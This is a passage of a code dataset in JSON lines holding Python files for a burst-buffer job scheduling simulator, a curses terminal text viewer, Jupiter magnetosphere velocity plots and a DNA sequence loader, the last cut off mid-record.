+{"seq_id":"31150965155","text":"#!/usr/bin/env python\n\nfrom job import BBJobStatus\nfrom enum import Enum\nimport logging\nimport csv\n\n\nclass BBEventType(Enum):\n    \"\"\"Possible event types\"\"\"\n    Submitted = 1\n    FinishIn = 2\n    FinishRun = 3\n    FinishOut = 4\n    ReleaseInBB = 5\n    ReleaseRunCN = 6\n\n\nclass BBEvent(object):\n    \"\"\"Simulation event\"\"\"\n    def __init__(self, job, ts, evt_type):\n        super(BBEvent, self).__init__()\n        self.job = job\n        self.timestamp = float(ts)\n        self.evt_type = evt_type\n\n    def eventType(self):\n        if self.evt_type == BBEventType.Submitted:\n            return 'Submitted'\n        elif self.evt_type == BBEventType.FinishIn:\n            return 'Finish In'\n        elif self.evt_type == BBEventType.FinishRun:\n            return 'Finish Run'\n        elif self.evt_type == BBEventType.FinishOut:\n            return 'Finish Out'\n        elif self.evt_type == BBEventType.ReleaseInBB:\n            return 'Release In'\n        elif self.evt_type == BBEventType.ReleaseRunCN:\n            return 'Release Run'\n\n    def __str__(self):\n        return \"%s event[%7.2f] with %s\" % \\\n            (self.eventType(), self.timestamp, str(self.job))\n\n\nclass BBEventGeneratorBase(object):\n    \"\"\"generate events with system resource\"\"\"\n    def __init__(self, system):\n        super(BBEventGeneratorBase, self).__init__()\n        self.system = system\n\n    def generateSubmittedEvents(self, job):\n        evt = BBEvent(job, job.ts.submit, BBEventType.Submitted)\n        return evt\n\n    def generateFinishOutput(self, job):\n        return []\n\n    def generateEvents(self, jobs):\n        \"\"\"generate new events based on schedule results\"\"\"\n        return []\n\n\nclass BBEventGeneratorDirect(BBEventGeneratorBase):\n    \"\"\"generate events for 1 phase model\"\"\"\n    def __init__(self, system):\n        super(BBEventGeneratorDirect, self).__init__(system)\n\n    def generateFinishOutput(self, job):\n        \"\"\"fill in all timestamps once output finishes\"\"\"\n        return []\n\n    def generateEvents(self, jobs):\n        \"\"\"generate new events based on schedule results\"\"\"\n        events = []\n        for job in jobs:\n            if job.status == BBJobStatus.WaitInput:\n                evt = self.generateSubmittedEvents(job)\n                events.append(evt)\n            elif job.status == BBJobStatus.Outputing:\n                evt = self.generateFinishOutput(job)\n                events.append(evt)\n            else:\n                logging.warn('\\t Unable to generate events for %s' % str(job))\n\n        for evt in events:\n            logging.debug('\\t Generate %s' % str(evt))\n        return events\n\n\nclass BBEventGeneratorDirectIO(BBEventGeneratorDirect):\n    \"\"\"generate events with CPU and IO system resource\"\"\"\n    def __init__(self, system):\n        super(BBEventGeneratorDirectIO, self).__init__(system)\n\n    def generateFinishOutput(self, job):\n        \"\"\"fill in all timestamps once output finishes\"\"\"\n        input_dur = job.demand.data_in / self.system.io.to_cpu\n        output_dur = job.demand.data_out / self.system.cpu.to_io\n        run_dur = job.runtime + job.demand.data_run / self.system.cpu.to_io\n        job.ts.finish_in = job.ts.start_in + input_dur\n        job.ts.start_run = job.ts.finish_in\n        job.ts.finish_run = job.ts.start_run + run_dur\n        job.ts.start_out = job.ts.finish_run\n        job.ts.finish_out = job.ts.start_out + output_dur\n        evt = BBEvent(job, job.ts.finish_out, BBEventType.FinishOut)\n        return evt\n\n\nclass BBEventGeneratorDirectBB(BBEventGeneratorDirect):\n    \"\"\"generate events with CPU and IO system resource\"\"\"\n    def __init__(self, system):\n        super(BBEventGeneratorDirectBB, self).__init__(system)\n\n    def generateFinishOutput(self, job):\n        \"\"\"fill in all timestamps once output finishes\"\"\"\n        input_dur = job.demand.data_in / self.system.io.to_bb\n        output_dur = job.demand.data_out / self.system.bb.to_io\n        run_dur = job.runtime + job.demand.data_run / self.system.cpu.to_bb\n        run_dur += job.demand.data_in / self.system.bb.to_cpu\n        run_dur += job.demand.data_out / self.system.cpu.to_bb\n        job.ts.finish_in = job.ts.start_in + input_dur\n        job.ts.start_run = job.ts.finish_in\n        job.ts.finish_run = job.ts.start_run + run_dur\n        job.ts.start_out = job.ts.finish_run\n        job.ts.finish_out = job.ts.start_out + output_dur\n        evt = BBEvent(job, job.ts.finish_out, BBEventType.FinishOut)\n        return evt\n\n\nclass BBEventGeneratorCerberus(BBEventGeneratorBase):\n    \"\"\"generate events with CPU, burst buffer and IO system resource\"\"\"\n    def __init__(self, system):\n        super(BBEventGeneratorCerberus, self).__init__(system)\n\n    def generateFinishInput(self, job):\n        input_dur = job.demand.data_in / self.system.io.to_bb\n        job.ts.finish_in = job.ts.start_in + input_dur\n        evt = BBEvent(job, job.ts.finish_in, BBEventType.FinishIn)\n        return evt\n\n    def generateReleaseInBB(self, job):\n        input_dur = job.demand.data_in / self.system.bb.to_cpu\n        job.ts.finish_mem_in = job.ts.start_run + input_dur\n        evt = BBEvent(job, job.ts.finish_mem_in, BBEventType.ReleaseInBB)\n        return evt\n\n    def generateReleaseRunBB(self, job):\n        \"\"\"release bb for data_run is done in FinishRun event\"\"\"\n        pass\n\n    def generateFinishRun(self, job):\n        run_dur = job.runtime + job.demand.data_run / self.system.cpu.to_bb\n        job.ts.finish_run = job.ts.finish_mem_in + run_dur\n        evt = BBEvent(job, job.ts.finish_run, BBEventType.FinishRun)\n        return evt\n\n    def generateReleaseRunCN(self, job):\n        output_dur = job.demand.data_out / self.system.cpu.to_bb\n        job.ts.finish_mem_out = job.ts.start_out + output_dur\n        evt = BBEvent(job, job.ts.finish_mem_out, BBEventType.ReleaseRunCN)\n        return evt\n\n    def generateReleaseRunOut(self, job):\n        \"\"\"release bb for data_out is done in FinishOut event\"\"\"\n        pass\n\n    def generateFinishOutput(self, job):\n        output_dur = job.demand.data_out / self.system.bb.to_io\n        job.ts.finish_out = job.ts.finish_mem_out + output_dur\n        evt = BBEvent(job, job.ts.finish_out, BBEventType.FinishOut)\n        return evt\n\n    def generateEvents(self, jobs):\n        \"\"\"generate new events based on schedule results\"\"\"\n        events = []\n        for job in jobs:\n            if job.status == BBJobStatus.WaitInput:\n                evt = self.generateSubmittedEvents(job)\n                events.append(evt)\n            elif job.status == BBJobStatus.Inputing:\n                evt = self.generateFinishInput(job)\n                events.append(evt)\n            elif job.status == BBJobStatus.Running:\n                evt1 = self.generateReleaseInBB(job)\n                events.append(evt1)\n                evt2 = self.generateFinishRun(job)\n                events.append(evt2)\n            elif job.status == BBJobStatus.Outputing:\n                evt1 = self.generateReleaseRunCN(job)\n                events.append(evt1)\n                evt2 = self.generateFinishOutput(job)\n                events.append(evt2)\n            else:\n                logging.warn('\\t Unable to generate events for %s' % str(job))\n\n        for evt in events:\n            logging.debug('\\t Generate %s' % str(evt))\n        return events\n\n\nclass BBSimulatorBase(object):\n    \"\"\"event driven simulator\"\"\"\n    def __init__(self):\n        super(BBSimulatorBase, self).__init__()\n        self.scheduler = None\n        self.generator = None\n        self.event_q = []\n        self.cpu_usage = []\n        self.virtual_time = float(0)\n        self.time_series = []\n\n    def setScheduler(self, sched):\n        \"\"\"change scheduler\"\"\"\n        self.scheduler = sched\n\n    def setGenerator(self, gen):\n        self.generator = gen\n\n    def simulate(self, jobs):\n        \"\"\"main simulation\"\"\"\n        events = self.generator.generateEvents(jobs)\n        for evt in events:\n            self.event_q.append(evt)\n        self.simulateCore()\n\n    def nextEvents(self):\n        \"\"\"choose earliest timestampped events\"\"\"\n        # sort based on timestamp\n        self.event_q.sort(key=lambda evt: evt.timestamp)\n\n        # there may be events with same timestamp\n        events = []\n        earliest_ts = self.event_q[0].timestamp\n        while len(self.event_q) > 0:\n            if self.event_q[0].timestamp == earliest_ts:\n                evt = self.event_q.pop(0)\n                events.append(evt)\n            else:\n                break\n        return events\n\n    def handleEvents(self, events):\n        \"\"\"override me to handle events\"\"\"\n        pass\n\n    def dumpEventQueue(self):\n        logging.debug('\\t Dump event queue')\n        for evt in self.event_q:\n            logging.debug('\\t ' + str(evt))\n\n    def gatherSystemStatistics(self, system):\n        self.time_series.append(self.virtual_time)\n        cpu_usage = 1 - system.cpu.available / system.cpu.capacity\n        self.cpu_usage.append(cpu_usage)\n\n    def dumpSystemStatistics(self, filename):\n        writer = csv.writer(open(filename, 'w'))\n        first_row = ['time', 'cpu']\n        writer.writerow(first_row)\n        for t, x in zip(self.time_series, self.cpu_usage):\n            row = [t, x]\n            writer.writerow(row)\n\n    def simulateCore(self):\n        \"\"\"keep popping events and handle them\"\"\"\n        while len(self.event_q) > 0:\n            evts = self.nextEvents()\n            self.handleEvents(evts)\n            self.gatherSystemStatistics(self.scheduler.system)\n        self.dumpEventQueue()\n\n\nclass BBSimulatorDirect(BBSimulatorBase):\n    \"\"\"only 1 phase\"\"\"\n    def __init__(self, system):\n        super(BBSimulatorDirect, self).__init__()\n        self.has_bb = False\n        self.bb_usage = []\n\n    def setEventGenerator(self, device, system):\n        if device == 'IO':\n            self.generator = BBEventGeneratorDirectIO(system)\n        elif device == 'BB':\n            self.generator = BBEventGeneratorDirectBB(system)\n            self.has_bb = True\n\n    def gatherSystemStatistics(self, system):\n        self.time_series.append(self.virtual_time)\n        cpu_usage = 1 - system.cpu.available / system.cpu.capacity\n        self.cpu_usage.append(cpu_usage)\n        if self.has_bb:\n            bb_usage = 1 - system.bb.available / system.bb.capacity\n            self.bb_usage.append(bb_usage)\n\n    def dumpSystemStatistics(self, filename):\n        writer = csv.writer(open(filename, 'w'))\n        if self.has_bb:\n            first_row = ['time', 'cpu', 'bb']\n            writer.writerow(first_row)\n            for t, x, y in zip(self.time_series, self.cpu_usage, self.bb_usage):\n                row = [t, x, y]\n                writer.writerow(row)\n        else:\n            first_row = ['time', 'cpu']\n            writer.writerow(first_row)\n            for t, x in zip(self.time_series, self.cpu_usage):\n                row = [t, x]\n                writer.writerow(row)\n\n    def handleEvents(self, events):\n        self.virtual_time = events[0].timestamp\n        now = self.virtual_time\n        for evt in events:\n            logging.debug('\\t Handle %s' % str(evt))\n            if evt.evt_type == BBEventType.Submitted:\n                self.scheduler.insertToDirectQ(evt.job)\n            elif evt.evt_type == BBEventType.FinishOut:\n                self.scheduler.insertToCompleteQ(evt.job)\n            else:\n                logging.warn('\\t Unable to handle event %s' % str(evt))\n        jobs = self.scheduler.schedule(now)\n        if jobs:\n            new_events = self.generator.generateEvents(jobs)\n            for evt in new_events:\n                self.event_q.append(evt)\n\n\nclass BBSimulatorCerberus(BBSimulatorBase):\n    \"\"\"consider burst buffer, e.g. 3 phase scheduling\"\"\"\n    def __init__(self, system):\n        super(BBSimulatorCerberus, self).__init__()\n        self.generator = BBEventGeneratorCerberus(system)\n        self.bb_usage = []\n\n    def gatherSystemStatistics(self, system):\n        self.time_series.append(self.virtual_time)\n        cpu_usage = 1 - system.cpu.available / system.cpu.capacity\n        self.cpu_usage.append(cpu_usage)\n        bb_usage = 1 - system.bb.available / system.bb.capacity\n        self.bb_usage.append(bb_usage)\n\n    def dumpSystemStatistics(self, filename):\n        writer = csv.writer(open(filename, 'w'))\n        first_row = ['time', 'cpu', 'bb']\n        writer.writerow(first_row)\n        for t, x, y in zip(self.time_series, self.cpu_usage, self.bb_usage):\n            row = [t, x, y]\n            writer.writerow(row)\n\n    def handleEvents(self, events):\n        \"\"\"trigger scheduler when event happens\"\"\"\n        self.virtual_time = events[0].timestamp\n        now = self.virtual_time\n\n        # handle events based on type\n        for evt in events:\n            logging.debug('\\t Handle %s' % str(evt))\n            if evt.evt_type == BBEventType.Submitted:\n                self.scheduler.insertToInputQ(evt.job)\n            elif evt.evt_type == BBEventType.FinishIn:\n                self.scheduler.insertToRunQ(evt.job)\n            elif evt.evt_type == BBEventType.ReleaseInBB:\n                self.scheduler.releaseBB(evt.job.demand.data_in)\n            elif evt.evt_type == BBEventType.FinishRun:\n                self.scheduler.insertToOutputQ(evt.job)\n            elif evt.evt_type == BBEventType.ReleaseRunCN:\n                self.scheduler.releaseCN(evt.job.demand.num_core)\n            elif evt.evt_type == BBEventType.FinishOut:\n                self.scheduler.insertToCompleteQ(evt.job)\n            else:\n                logging.warn('\\t Unable to handle event %s' % str(evt))\n        jobs = self.scheduler.schedule(now)\n        if jobs:\n            new_events = self.generator.generateEvents(jobs)\n            for evt in new_events:\n                self.event_q.append(evt)\n","repo_name":"littlepretty/BBSimulator","sub_path":"bbsimulator/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":13758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"39733523210","text":"\"\"\"\nDisplayText\n\nDisplays a big paragraph of text in terminal, no problems.\n\"\"\"\n\nimport curses\nimport textwrap\n\nclass Display:\n    def __init__(self, text, ok_button=None):\n        try:\n            self.stdscr = curses.initscr()\n\n            self.cur_lines, self.cur_cols = self.stdscr.getmaxyx()\n            self.scroll_pos = 0\n            self.y_padding = 2  # 1 border char, 1 space\n            self.x_padding = 2  # As above\n            self.cols = self.cur_cols - self.x_padding\n            self.rows = self.cur_lines - self.y_padding\n            self.textlines = self.format(text)\n            self.button = ok_button\n            # Misc setup\n            curses.noecho()\n            curses.curs_set(0)\n\n\n            # Create pad with width of term and height of formatted text\n            self.pad = curses.newpad(len(self.textlines) + 4, self.cols + 4)\n\n            # Fill pad with text\n            for y_value, line in enumerate(self.textlines):\n                self.pad.addstr(self.y_padding + y_value - 1, \n                                self.x_padding,\n                                line)\n        except:\n            self.close()\n            raise\n\n\n    def format(self, text):\n        paragraphs = text.readlines()\n        lines = []\n        for para in paragraphs:\n            lines.extend([line for line in textwrap.wrap(para, self.cols - 10)])\n            lines.append(\"\")\n        return lines\n\n\n    def refresh(self):\n        self.stdscr.refresh()\n        self.pad.refresh(self.scroll_pos, 0,\n                         1, 1,\n                         self.rows - 3, self.cols)\n\n\n    def scroll_up(self):\n        if self.scroll_pos > 0:\n            self.scroll_pos -= 1\n            self.refresh()\n\n\n    def scroll_down(self):\n        if self.scroll_pos < len(self.textlines) - self.rows + 4:\n            self.scroll_pos += 1\n            self.refresh()\n\n\n    def close(self):\n        curses.nocbreak()\n        self.stdscr.keypad(False)\n        curses.echo()\n        curses.endwin()\n\n\n    def show(self):\n        try:\n            self.stdscr.border(0)\n            self.stdscr.keypad(True)\n            if self.button:\n                self.stdscr.addstr(self.rows - 1,\n                                   (self.cols - len(self.button)) // 2,\n                                   self.button,\n                                   curses.A_REVERSE)\n            while True:\n                self.refresh()\n                key = self.stdscr.getkey()\n                # self.stdscr.addstr(0,0,str(ord(key)))\n                if key == \"KEY_UP\":\n                    self.scroll_up()\n                elif key == \"KEY_DOWN\":\n                    self.scroll_down()\n                else:\n                    try:\n                        if ord(key) == 10:\n                            self.close()\n                            break\n                    except TypeError:\n                        pass\n                self.stdscr.refresh()\n        except KeyboardInterrupt:\n            pass\n        finally:\n            self.close()\n\n","repo_name":"bedekelly/DisplayText","sub_path":"DisplayText.py","file_name":"DisplayText.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11958495720","text":"import numpy as np\nfrom Magnetic_field_models import field_models\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as tick\n\n\ndef radialScaleHeight(r):\n    \"\"\"\n    Finds the scale height at a radius\n    :param r: Radius in R_J\n    :return: Scale height in R_J\n    \"\"\"\n    h = -0.116 + 2.14*np.log10(r/6) - 2.05*np.log10(r/6)**2 + 0.491*np.log10(r/6)**3 + 0.126*np.log10(r/6)**4\n    H = 10 ** h\n    return H\n\n\ndef equatorialPlasmaNumberDensity(r, speciesValues=None):\n    \"\"\"\n    Calculates the plasma density at the equator using the method from Bagenal 2011\n    :param r: The radius in R_J\n    :param speciesValues:\n    :return: The plasma number density at the equator in cm^-3\n    \"\"\"\n    b2011 = 1987 * (r / 6) ** (-8.2) + 14 * (r / 6) ** (-3.2) + 0.05 * (r / 6) ** (-0.65)\n\n    try:\n        percentage, a, b, c = speciesValues\n        if r <= 15.2:\n            n = a * (r / 6) ** b\n        else:\n            n = (c * b2011)\n    except:\n        n = b2011\n        print('Species do not match')\n    return n\n\n\ndef frankPatersonMassProfile(r):\n    \"\"\"\n    Total mass density of the plasma in kg/m^3\n    :param r: radius in R_J\n    :param species: List of species with parameters needed for equatorialTotalPlasmaNumberDensity()\n    :param massAmuArray: List of species with masses in amu\n    :return: Mass Density in kg/m^3\n    \"\"\"\n    n = 3.2e8*r**(-6.9) + 9.9*r**(-1.28)\n\n    M = n*1e6 * 16*1.67e-27\n    return M\n\n\ndef totalMassDensity(r, species, massAmuArray):\n    \"\"\"\n    Total mass density of the plasma in kg/m^3\n    :param r: radius in R_J\n    :param species: List of species with parameters needed for equatorialTotalPlasmaNumberDensity()\n    :param massAmuArray: List of species with masses in amu\n    :return: Mass Density in kg/m^3\n    \"\"\"\n    M = 0\n    for i in massAmuArray:\n        mass = massAmuArray[i]\n        try:\n            n = equatorialPlasmaNumberDensity(r, species[i])\n        except:\n            n = np.zeros(len(r))\n            print('Species do not match')\n        M += n*1e6 * mass*1.67e-27\n\n    return M\n\n\ndef alfvenVelocityAtRThetaPhi(fieldModel, r, theta, phi, species, massArray, model='VIP4', currentOn=True):\n    \"\"\"\n    Alfven velocity at a given r, theta and phi\n    :param fieldModel: an object to make the field model work\n    :param r: radius in RJ\n    :param theta: the angle from the pole in radians\n    :param phi: in radians from sun, going anticlockwise\n    :param species: List of species with parameters needed for equatorialTotalPlasmaNumberDensity()\n    :param massArray: List of species with masses in amu\n    :param model: The type of model being used to find the magnetic field at r, theta and phi\n    :return: Alfven velocity in m/s\n    \"\"\"\n\n    Va = averageMagFieldModel(fieldModel, r, theta, phi, model, currentOn) * 1e-9 / np.sqrt(1.25663706212e-6 *\n                                                                                 totalMassDensity(r, species, massArray))\n\n    return Va\n\n\ndef radialVelocityFrankPaterson(r, species, massArray, mdot):\n    \"\"\"\n    The radial velocity at distance r\n    :param r: radius in RJ\n    :return: radial velocity in m/s\n    \"\"\"\n    vr = mdot/(2 * totalMassDensity(r, species, massArray) * radialScaleHeight(r) * np.pi * r * 71492e3 ** 2)\n    return vr\n\n\ndef magnitudeVector(x0, x1, x2):\n    \"\"\"\n    Returns the magnitude of a vector with 3 components\n    :param x0:\n    :param x1:\n    :param x2:\n    :return: The magnitude of the 3 components\n    \"\"\"\n    vector = [x0, x1, x2]\n    return np.sqrt((np.square(vector)).sum())\n\n\ndef averageMagFieldModel(fieldObject, r, theta, phi, model='VIP4', currentOn=True):\n    \"\"\"\n    Finds the magnitude of the magnetic field at a position dictated by r, theta and phi\n    :param fieldObject: an object to make the field model work\n    :param r: radius in RJ\n    :param theta: the angle from the pole in radians\n    :param phi: in radians from sun, going anticlockwise\n    :param model: the type of model for the magnetic field\n    :return: the magnitude of the magnetic field in nT\n    \"\"\"\n    br, bt, bp, bx, by, bz = fieldObject.Internal_Field(r, theta, phi, currentOn, model)\n    b = magnitudeVector(br, bt, bp)\n    return b\n\n\ndef MagFieldComponents(fieldObject, r, theta, phi, model='VIP4', currentOn=True):\n    \"\"\"\n    Finds the magnitude of the magnetic field at a position dictated by r, theta and phi\n    :param fieldObject: an object to make the field model work\n    :param r: radius in RJ\n    :param theta: the angle from the pole in radians\n    :param phi: in radians from sun, going anticlockwise\n    :param model: the type of model for the magnetic field\n    :return: the magnitude of the magnetic field in nT\n    \"\"\"\n    br, bt, bp, bx, by, bz = fieldObject.Internal_Field(r, theta, phi, currentOn, model)\n    b = magnitudeVector(br, bt, bp)\n    return br, bt, bp, b, bx, by, bz\n\n\ndef currentSheetComponents(fieldObject, r, theta, phi):\n    \"\"\"\n    Finds the magnitude of the magnetic field at a position dictated by r, theta and phi\n    :param fieldObject: an object to make the field model work\n    :param r: radius in RJ\n    :param theta: the angle from the pole in radians\n    :param phi: in radians from sun, going anticlockwise\n    :param model: the type of model for the magnetic field\n    :return: the magnitude of the magnetic field in nT\n    \"\"\"\n\n    bcanSheet = fieldObject.CAN_sheet(r, theta, phi)\n    bcr = bcanSheet[0]\n    bct = bcanSheet[1]\n    bcp = bcanSheet[2]\n    bcx = bcr * np.sin(theta) * np.cos(phi) + bct * np.cos(theta) * np.cos(phi) - bcp * np.sin(phi)\n    bcy = bcr * np.sin(theta) * np.sin(phi) + bct * np.cos(theta) * np.sin(phi) + bcp * np.cos(phi)\n    bcz = bcr * np.cos(theta) - bct * np.sin(theta)\n    b = magnitudeVector(bcr, bct, bcp)\n    return bcr, bct, bcp, b, bcx, bcy, bcz\n\n\ndef equatorialMagneticField(r, phi):\n    \"\"\"\n    Finds the equatorial magnetic field strength using Vogt et. al 2011 method\n    :param r: The radius in R_J\n    :param phi: The angle in radians, 0 at the Sun, anti-clockwise\n    :return: The equatorial magnetic field in nT\n    \"\"\"\n    B = 1.030e6 * r ** (-3.756 - 0.12 * np.cos(phi - 3.562)) + \\\n        (3.797 - 4.612 * np.cos(phi - 0.825) + 0.606 * np.cos(2 * (phi - 0.473)) +\n         0.847 * np.cos(3 * (phi - 0.913))) * np.exp((-1 * r) / 150)\n    return B\n\n\ndef equatorialAlfvenVelocity(r, phi, species, massArray):\n    Va = equatorialMagneticField(r, phi) * 1e-9 / np.sqrt(1.25663706212e-6 * totalMassDensity(r, species, massArray))\n\n    return Va\n\n# Create a series of arrays to hold values\n\nradius = []\nmagneticFieldDipole = []\nmagneticFieldNotDipole = []\nmagneticFieldUlysses17ev = []\nmagneticFieldNotV117ev = []\nmagneticFieldO4 = []\nmagneticFieldNotSHA = []\nradialVelocity500 = []\nalfvenVelocityATPi = []\nradialVelocity1300 = []\nradialVelocity280 = []\n\nbcrarray, bctarray, bcparray, bcxarray, bcyarray, bczarray, bcarray = [], [], [], [], [], [], []\nbrarray, btarray, bparray, bxarray, byarray, bzarray, barray = [], [], [], [], [], [], []\n\nalfvenVelocity120, alfvenVelocity210, alfvenVelocity300, alfvenVelocity30 = [], [], [], []\n\n# No longer have to be in the same order\nspeciesList = {'e-': [1, 2451, -6.27, 4.21],\n               'o+': [0.24, 592, -7.36, 0.368],\n               'o++': [0.03, 76.3, -6.73, 0.086],\n               's+': [0.07, 163, -6.81, 0.169],\n               's++': [0.22, 538, -6.74, 0.598],\n               's+++': [0.004, 90.7, -6.21, 0.165],\n               'h+': [0.02, 50.6, -5.31, 0.212],\n               'na+': [0.04, 97.2, -6.75, 0.106],\n               'hoto+': [0.06, 134, -4.63, 1.057]}\nME = 0.00054858\nspeciesMass = {'e-': 0.00054858,\n               'o++': 15.999 - (ME * 2),\n               's+': 32.065 - ME,\n               's++': 32.065 - (ME * 2),\n               's+++': 32.065 - (ME * 3),\n               'h+': 1.00784 - ME,\n               'na+': 22.989769 - ME,\n               'hoto+': 15.999 - (ME * 2),\n               'o+': 15.999 - ME\n               }\n\nfieldGenerator = field_models()\nphi = 112\n# Calculate radius, scale height, x, y, equatorial magnetic field, Alfven and radial velocity\n# and number density by iterating over radius and angle\nfor r in np.arange(6, 100, 0.5):\n    radius.append(r)  # No longer needed\n    radialVelocity500.append(radialVelocityFrankPaterson(r, speciesList, speciesMass, 500)/1000)\n    radialVelocity280.append(radialVelocityFrankPaterson(r, speciesList, speciesMass, 280)/1000)\n    radialVelocity1300.append(radialVelocityFrankPaterson(r, speciesList, speciesMass, 1300)/1000)\n    alfvenVelocityATPi.append(alfvenVelocityAtRThetaPhi(fieldGenerator, r, 0.5*np.pi, phi, speciesList, speciesMass, 'VIP4', True)/1000)\n    # alfvenVelocity30.append(equatorialAlfvenVelocity(r, 30, speciesList, speciesMass)/1000)\n    # alfvenVelocity120.append(equatorialAlfvenVelocity(r, 120, speciesList, speciesMass)/1000)\n    # alfvenVelocity210.append(equatorialAlfvenVelocity(r, 210, speciesList, speciesMass)/1000)\n    # alfvenVelocity300.append(equatorialAlfvenVelocity(r, 0, speciesList, speciesMass)/1000)\n    # magneticFieldDipole.append(averageMagFieldModel(fieldGenerator, r, 0.5*np.pi, phi, 'VIP4', False))\n    # magneticFieldNotDipole.append(averageMagFieldModel(fieldGenerator, r, 0.5 * np.pi, phi, 'VIP4', True))\n#     bcarray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[3])\n#     bcxarray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[4])\n#     bcyarray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[5])\n#     bczarray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[6])\n#     barray.append(MagFieldComponents(fieldGenerator, r, 0.5*np.pi, phi, 'VIP4', True)[3])\n#     bxarray.append(MagFieldComponents(fieldGenerator, r, 0.5*np.pi, phi, 'VIP4', False)[4])\n#     byarray.append(MagFieldComponents(fieldGenerator, r, 0.5*np.pi, phi, 'VIP4', False)[5])\n#     bzarray.append(MagFieldComponents(fieldGenerator, r, 0.5*np.pi, phi, 'VIP4', False)[6])\n#     bcrarray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[0])\n#     bctarray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[1])\n#     bcparray.append(currentSheetComponents(fieldGenerator, r, 0.5*np.pi, phi)[2])\n#\n# xcombined = np.add(bcxarray, bxarray)\n# ycombined = np.add(bcyarray, byarray)\n# zcombined = np.add(bczarray, bzarray)\n# bcalculated = np.sqrt(xcombined**2+ycombined**2+zcombined**2)\n#\n# np.savetxt('magfieldcompoents.txt', np.c_[radius, bcxarray, bcyarray, bczarray, bxarray, byarray, bzarray, xcombined, ycombined, zcombined, bcalculated, barray], delimiter='\\t')\n\nfig, ax = plt.subplots()\nplt.plot(radius, radialVelocity500, linestyle='-', label='Radial Velocity Mdot = 500 kgm/s')\nplt.plot(radius, radialVelocity280, linestyle='-.', label='Radial Velocity Mdot = 280 kgm/s')\nplt.plot(radius, radialVelocity1300, linestyle='--', label='Radial Velocity Mdot = 1300 kgm/s')\nplt.plot(radius, alfvenVelocityATPi, linestyle=':', label=r'Alfvén Velocity')\n# plt.plot(radius, alfvenVelocity210, linestyle=':', label=r'Alfven Velocity at $\\phi$=210', linewidth=4)\n# plt.plot(radius, alfvenVelocity300, linestyle=':', label=r'Alfven Velocity at $\\phi$=0', linewidth=4)\n# plt.plot(radius, alfvenVelocity30, linestyle=':', label=r'Alfven Velocity at $\\phi$=30', linewidth=4)\n# plt.plot(radius, alfvenVelocity120, linestyle=':', label=r'Alfven Velocity at $\\phi$=120', linewidth=4)\nplt.legend(fontsize=18)\nplt.xticks(size=18)\nplt.yticks(size=18)\nplt.xlabel('Radius $(R_J)$', fontsize=18)\nplt.ylabel('Velocity (km/s)', fontsize=18)\nplt.yscale('log')\nax.tick_params(axis='both', which='major', size=6)\nax.tick_params(axis='both', which='minor', size=4)\nax.xaxis.set_minor_locator(tick.MultipleLocator(5))\nax.tick_params(right=True, which='both', labelsize=18)\nplt.ylim(1e0, 1e3)\nplt.tight_layout()\n\n# fig, ax = plt.subplots()\n# plt.plot(radius, magneticFieldDipole, label=r'VIP4 no current sheet')\n# plt.plot(radius, magneticFieldNotDipole, label=r'VIP4 with current sheet')\n# plt.legend(fontsize=18)\n# plt.xticks(size=18)\n# plt.yticks(size=18)\n# ax.tick_params(axis='both', which='major', size=6)\n# ax.tick_params(axis='both', which='minor', size=4)\n# ax.xaxis.set_minor_locator(tick.MultipleLocator(5))\n# ax.tick_params(right=True, which='both', labelsize=18)\n# plt.xlabel('Radius $(R_J)$', fontsize=18)\n# plt.ylabel('Magntiude (nT)', fontsize=18)\n# plt.yscale('log')\nplt.show()","repo_name":"jenkins-andrew/3DModelJupiter","sub_path":"comparisonProfiles.py","file_name":"comparisonProfiles.py","file_ext":"py","file_size_in_byte":12342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"27042025121","text":"import csv\nimport numpy as np\n\n\nATCG_MAP = {'A': 0, 'T': 1, 'C': 2, 'G': 3, 'N': 0}\nATCG_REV_MAP = ['A', 'T', 'C', 'G']\nATCG = np.vstack((np.eye(4), np.zeros(4)))\n\ndef convertSeqToMatrix(XSeq):\n    X = np.zeros((len(XSeq), 4*len(XSeq[0])))\n    for i,seq in enumerate(XSeq):\n        x = np.zeros(4*100)\n        X[i] = np.concatenate([ATCG[ATCG_MAP[x]] for x in seq])\n    return X\n\n\n\ndef alphaVectorToString(alphavector, alpha_size=4):\n    return ATCG_REV_MAP[np.argmax(alphavector)]\n\ndef vectorToString(vector, alpha_size=4):\n    out = ''\n    for i in range(vector.shape[0]/alpha_size):\n        out += alphaVectorToString(vector[i*alpha_size:(i+1)*alpha_size])\n    return out\n\ndef loadSeqFromText(seqFile, delim='\\t'):\n    XSeq = []\n    labels = []\n    with open(seqFile) as csvfile:\n        reader = csv.DictReader(csvfile, delimiter=delim)\n        for row in reader:\n            seq = row['seq']\n            label = row['Bound']\n            XSeq.append(seq)\n            labels.append(label)\n    return XSeq[1:], np.array(labels[1:]).astype('uint8')\n\n\ndef loadFoldFromText(foldId):\n    npzFile = foldId + \".npz\"\n    XTrainFile = foldId + \"_Train.csv\"\n    XTestFile = foldId + \"_Test.csv\"\n    yTrainFile = foldId + \"_TrainLabels.csv\"\n    yTestFile = foldId + \"_TestLabels.csv\"\n    return loadFromText(XTrainFile, XTestFile, yTrainFile, yTestFile)\n\n\ndef loadFromText(XTrainFile, XTestFile, yTrainFile, yTestFile):\n    with open(XTrainFile) as XFile:\n        print((\"Loading XTrain... from \" + XTrainFile))\n        XTrainRaw = np.loadtxt(XFile, dtype=\"uint8\", delimiter=\",\")\n\n    with open(XTestFile) as XFile:\n        print((\"Loading XTest... from \" + XTestFile))\n        XTestRaw = np.loadtxt(XFile, dtype=\"uint8\", delimiter=\",\")\n\n    with open(yTrainFile) as yFile:\n        print((\"Loading yTrain... from \" + yTrainFile))\n        yTrainRaw = np.loadtxt(yFile, dtype=\"uint8\", delimiter=\",\")\n    with open(yTestFile) as yFile:\n        print((\"Loading 